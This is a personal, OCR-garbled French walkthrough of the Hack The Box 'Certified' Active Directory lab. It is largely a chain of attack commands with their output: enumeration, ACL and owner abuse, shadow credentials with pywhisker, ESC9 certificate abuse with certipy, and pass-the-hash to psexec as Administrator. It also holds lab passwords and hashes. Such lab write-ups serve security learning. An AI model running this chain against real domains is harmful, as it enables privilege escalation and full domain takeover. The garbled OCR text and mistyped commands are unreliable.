Certified

mercredi 20 novembre 2024 08:46

—S$ nmap -sV -0 -T4-Pn 10.129.231.186

Starting Nmap 7.94SVN ( https://nmap.org) at 2024-11-20 08:21 CET

Nmap scan report for 10.129.231.186

Host is up (0.020s latency).

Not shown: 989 filtered tcp ports (no-response)

PORT  STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-20 14:21:517)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: certified.htbO., Site:
Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site:
Default-First-Site-Name)

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site:
Default-First-Site-Name)

3269/tcp open ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site:
Default-First-Site-Name)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed
port

Device type: general purpose

Running (JUST GUESSING): Microsoft Windows 2019 (89%)

Aggressive OS guesses: Microsoft Windows Server 2019 (89%)

No exact OS matches for host (test conditions non-ideal).

Service Info: Host: DCO1; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 56.91 seconds

judith.mader / judith09

Je pense qu'on va d'abord énumérer les user présent dans le domaine :

crackmapexec smb 10.129.231.186 -u judith.mader -p 'judith09' --shares

juditheo

Distribution Center S
n f

certified.htb\gregory.cameron
certified.htb\harry.wilson
certified.htb\alexander.huges
certified.htb\ca_operator
certified.htb\management_svc
certified.htb\judith.mader

Maintenant on va voir si avec le login qu'on nous a donné je peux me connecter avec evikwinrm :

netexec winrm 10.129.231.186 -u judith.mader -p 'judith09'
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On va voir ce que bloodhound nous présente :

Node Info

MANAGEMENT TIFIEDHTEB

Judith a le first degree object control sur le group management on peut donc changer le mot de
passe du groupe et normalement dans la logique je peux changer le mot de passe des users
appartenant au groupe.

Le groupe management a le generic write sur le user management_svc :

ENT@CERTIFIED.HTB

@
=

MANAGEMENT_SVC@CERTIFIED HTB
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pywhisker -d "administrator.htb" -u "judith.mader" -p 'judithe9' --target "management_svc" --
action "add"

Notre objectif ici va de changer les droit que judith a sur le groupe management pour ensuite
prendre contrdle du user management_cv :

On recommence cette commande :
python3 owneredit.py certified.htb/judith.mader:judith09 -target-dn

"CN=Management,CN=Users,DC=certified,DC=htb" -new-owner-sid
"$-1-5-21-729746778-2675978091-3820388244-1103" -dc-ip 10.129.231.186

CN=Management ,CN

Ca ne fonctionne pas donc je vais tenter un autre truc:
On va utiliser BLOODYAD :

bloodyAD --host "10.129.231.186" -d "certified.htb" -u "judith.mader" -p "judith09" set owner
Management judith.mader

A partir de I'adresse <http://www.vxer.cn/2024/11/07/hackthebox-certified-walkthrough/>

Judith est maintenant I'owner du groupe management.

Maintenant on peut récupérer le mot de passe du user management_svc. Mais avant on va donner
les droits de changer les mots de passe judith avec la commande suivante :

Python3 impacket-dacledit -action 'read’ -rights 'WriteMembers -principal 'judith.mader" -target-
dn ' CN=MANAGEMENT, CN=USERS ,DC=CERTIFIED,DC=HTB' ‘certified.htb'/'judith.mader':'judithe9’
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ON peut refaire la commande pour vérifier que tout est bon :

judith.mader

Maintenant on va ajouter judith dans le groupe management vu que de base elle n'est pas dedans :

net rpc group addmem "Management” "judith.mader” -U
“certified.htb"/"judith.mader"%"judith@9" -S "DCO1.certified.htb"

On retelecharge une map pour bloodhound pour voir maintenant ce qu'on peut faire :

netexec Idap 10.129.231.186 -u judith.mader -p 'judith09' --bloodhound --collection All --dns-server
10.129.231.186
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ON peut voir que judith fait maintenant partie du groupe Management :

JUDITH.MADE! ERTIFIED.HTB L)

MANAGEMENT@CERTIFIED.HTB

UDITH.MADER@CERTIFIED, HT

Donc on voit que judith a maintenant le droit owns + addmember + writeowner. Bref judith est la
big boss du groupe donc elle peut faire ce qu'elle veut et donc par conséquent on peut changer le
mot de passe du user management_svc.

Pour ¢a on va ajouter le msDs-KeyCredentialLink attribute a management_svc. On va recevoir
ensuite un pfx file et un fichier de passwd

Pour ¢a on va utiliser l'outils : pywhisker

pywhisker -d "administrator.htb" -u "judith.mader" -p 'judith09' --target "michael" --action "add"
Comme pour la machine administrator on va refaire la shadow attack :

The method used below is called Shadow Credential attack. Using pywhisker, add the msDs-
KeyCredentialLink attribute content to the management_svc user.
After obtaining the high-privilege user, add Shadow Credential (msDS-KeyCredentiallLink
attribute) to the target user, and use the relevant attack tools to obtain the .pfx private key
certificate file, and then use the .pfx file to apply for the target user's TGT, and then obtain
its NTLM Hash.
https://mrwq.qgithub.io/aggreqate-paper/butian/%E7 %BA%A2%E9%98%9F %E5%9F %9F %
E6%B8%97%E9%80%8F %E6%9D %83%E9%99%90%E7%BB%B4%E6%8C%81%E6%
8A%80%E6%9C%AF%EF%BC%9AShadow%20Credentials/

On peut d'abord vérifier que I'attribute du user management_svc est vide :

pywhisker -d "certified.htb" -u "judith.mader"” -p 'judithe9' --target "management_svc" --action
"list"

MANAGEMENT@CERTIFIEDHTB

On obtient le fichier .pfx
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https://mrwq.github.io/aggregate-paper/butian/%E7%BA%A2%E9%98%9F%E5%9F%9F%E6%B8%97%E9%80%8F%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E6%8A%80%E6%9C%AF%EF%BC%9AShadow%20Credentials/
https://mrwq.github.io/aggregate-paper/butian/%E7%BA%A2%E9%98%9F%E5%9F%9F%E6%B8%97%E9%80%8F%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E6%8A%80%E6%9C%AF%EF%BC%9AShadow%20Credentials/
https://mrwq.github.io/aggregate-paper/butian/%E7%BA%A2%E9%98%9F%E5%9F%9F%E6%B8%97%E9%80%8F%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E6%8A%80%E6%9C%AF%EF%BC%9AShadow%20Credentials/

ON peut récupérer le TGT de I'user management_svc

PB d'horodatage : https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-
ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069

Must be used with password: hq7ZTgwg2rKZXxMkNU8y

Bon maintenant on va récupérer le TGT du user management_svc :

python3 gettgtpkinit.py certified.htb/management_svc-cert-pfx TOJ10pXO0.pfx -pfx-pass
'hq7ZTgwg2rKZXxMkNU8y' management_svc.ccache

export KRB5CCNAME=man_svc.ccache
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python3 getnthash.py certified.htb/management_svc-key
31f307c93cd6c58398a5ffa549ba718b1106912ee528221959b28262b3c3477b

Management_svc:a091c1832bcdd4677c28b5a6a1295584

GenencAll

MANAGEMENT_SVC@CERTIFIEDHTB CA_OPERATOR@CERTIFIED.HTB

ON peut changer le mot de passe du user ca_operator en utilisant ces commandes :

pth-net rpc password “ca_operator” "cacal23" -U
"certified.htb"/"management_svc"%"<management_svc hash>":"<management_svc
hash>" -S "DCO1.certified.htb"

ator” "cacal23

"DCO1.certified.htb

On peut vérifier si c'est bon :

Ca fonctionne.

Maintenant on va faire une attack ESC9 pour faire un privilege escalation.
On doit d'abord vérifier que les conditions sont la pour faire cette attaque. On va télécharger la
template de certifica de notre machine vicitme sur notre machine local :

pip3 install certipy-ad

certipy find -u judith.mader@certified.htb -p judith09 -dc-ip

On a le certificat et on doit I'ouvrir. ON doit trouver la condition :

Sous Certificate Templates->CertifiedAuthentication->Enrollment Flag, il y a NoSecurityExtension.
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ON va changer I'upn du user ca_management en Administrator. Mais avant ¢a on va voir la situation
de ce user dans le Idap :

Idapsearch -x -H Idap:// -D "judith.mader@certified.htb" -W "judithes" -b
"DC=certified,DC=htb" "(sAMAccountName=ca_operator)" userPrincipalName

Maintenant on va changer 'upn :

certipy account update -username management_svc@certified.htb -hashes
2091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

ON peut revérifier :
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D "judith.r

On voit bien que |'upn c'est : Administrator.
Maintenant on va récupérer le fichier .pfx de I'administrator :
certipy req -username ca_operator@certified.htb -p caca123 -ca certified-DC01-CA -template

CertifiedAuthentication -debug

juste avant j'ai eu une erreur, il fallait ajouter un autre domaine dans le host :
10.129.231.186 DCO1.certified.htb
10.129.231.186 CERTIFIED.HTB

Maintenant on va utiliser I'admin .pfx pour récupérer le hash :

certipy auth -pfx nomdufichier.pfx -domain certified.htb

Enfin on peut utiliser I'admin pour récupérer les mots de passe :

Pour ¢a on va utiliser |'outils : impacket-psexec

impacket-psexec administrator@ -hashes 1dbf5a33b66202628c47946ec7a8de34
Erreur rien ne fonctionnait parceque j'avais récupérer le fichier .pfx du user ca_operateur

et non celui de I'admin. Ducoup j'ai refait toute la démarche de I'UPN et maintenant c'est
bon :

On recommence :
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certipy auth -pfx administrator.pfx -domain certified.htb

Apres avoir regardé sur discord il fallait remettre |'upn de ca_operateur a son original cad
ca_operator !

Administrator:aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

impacket-psexec administrator@ -hashes
aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Lets go
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